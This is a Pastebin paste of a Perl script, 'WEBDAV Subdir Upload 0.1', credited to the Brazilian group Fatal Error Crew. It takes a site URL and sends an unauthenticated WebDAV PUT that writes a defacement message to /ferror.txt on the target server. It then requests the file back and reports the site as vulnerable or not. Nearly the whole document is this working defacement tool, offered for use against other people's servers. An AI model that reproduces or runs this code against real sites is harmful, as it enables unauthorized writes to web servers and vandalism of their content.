supermanavc

WEBDAV Subdir Upload 0.1

Dec 14th, 2013
485
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #/!/usr/bin/perl
  2. ##################################################################
  3. # ______    _        _   _____
  4. #|  ___|_ _| |_ __ _| | | ____|_ __ _ __ ___  _ __
  5. #| |_ / _` | __/ _` | | |  _| | '__| '__/ _ \| '__|
  6. #|  _| (_| | |_ (_| | | | |___| |  | | | (_) | |  
  7. #|_|  \__,_|\__\__,_|_| |_____|_|  |_|  \___/|_|
  8. #
  9. # By sup3rm4n - 2013 ©
  10. # Made in Brazil
  11. # Somos: Elemento_pcx & s4r4d0 & sup3rm4n
  12. # Twitter: @FatalErrorSec
  13. # Fatal Error Crew  [ 2001 ~ 2013 ]
  14. #
  15. ##################################################################
  16.  
  17.  
  18. use HTTP::Request;
  19. use LWP::UserAgent;
  20. use IO::Socket::INET;
  21. use Term::ANSIColor;
  22. my $ua = LWP::UserAgent->new();
  23. $ua ->timeout(15);
  24.  
  25. $deface='Fatal Error ownz you ! By Sup3rm4n GreetZ : w4n73d & s4r4d0 & Elemento_pcx !';
  26.  
  27.   print color("green"),
  28. q{  _____     _        _   _____
  29.  |  ___|_ _| |_ __ _| | | ____|_ __ _ __ ___  _ __
  30.  | |_ / _` | __/ _` | | |  _| | '__| '__/ _ \| '__|
  31. |  _| (_| | |_ (_| | | | |___| |  | | | (_) | |
  32. |_|  \__,_|\__\__,_|_| |_____|_|  |_|  \___/|_|
  33. ====================================================
  34.   # WEBDAV Subdir Upload 0.1
  35.   # By sup3rm4n - 2013 ©
  36.   # Made in Brazil
  37.   # Somos: Elemento_pcx & s4r4d0 & sup3rm4n
  38.   # Fatal Error Crew  [ 2001 ~ 2013 ]
  39. ====================================================
  40.  
  41.  Digite a url do site
  42. };
  43. print " -->> ";
  44.  
  45. $site =<STDIN>;
  46. chomp($site);
  47.  
  48.     if($site =~/http:\/\//){ substr($site, 0, 7) ="";}
  49.     $sock = IO::Socket::INET->new(PeerAddr => "$site", PeerPort => 80, Proto => "tcp", Timeout => 8) or exit;
  50.     print $sock "PUT /ferror.txt HTTP/1.1\n";
  51.     print $sock "Accept: */*\r\n";
  52.     print $sock "Accept-Language: en-us;q=0.5\r\n";
  53.     print $sock "Translate: f\r\n";
  54.     print $sock "Connection: Keep-Alive\r\n";
  55.     print $sock "User-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1\r\n";
  56.     print $sock "Host: $site\r\n";
  57.     $length=length("$deface");
  58.     print $sock "Content-Length: $length\r\n";
  59.     print $sock "\r\n";
  60.     print $sock "$deface\r\n";  
  61.     close($sock);
  62.  
  63.  my $lol = "http://".$site if ($site !~ m/http:\/\//);
  64.  my $test .= $lol."/ferror.txt";
  65.  my $request = HTTP::Request -> new (GET => $test);
  66.  my $resposta = $ua -> request ( $request );
  67.  
  68. if( $resposta -> content =~ /$deface/ )
  69. {
  70.  
  71.    print "\n Site Vulnerável --> $site/ferror.txt\n\n";
  72.  
  73. }
  74.  
  75.  
  76. else {
  77.    print "\n\n  O site $site não está vulnerável. \n\n" ;
  78. }
RAW Paste Data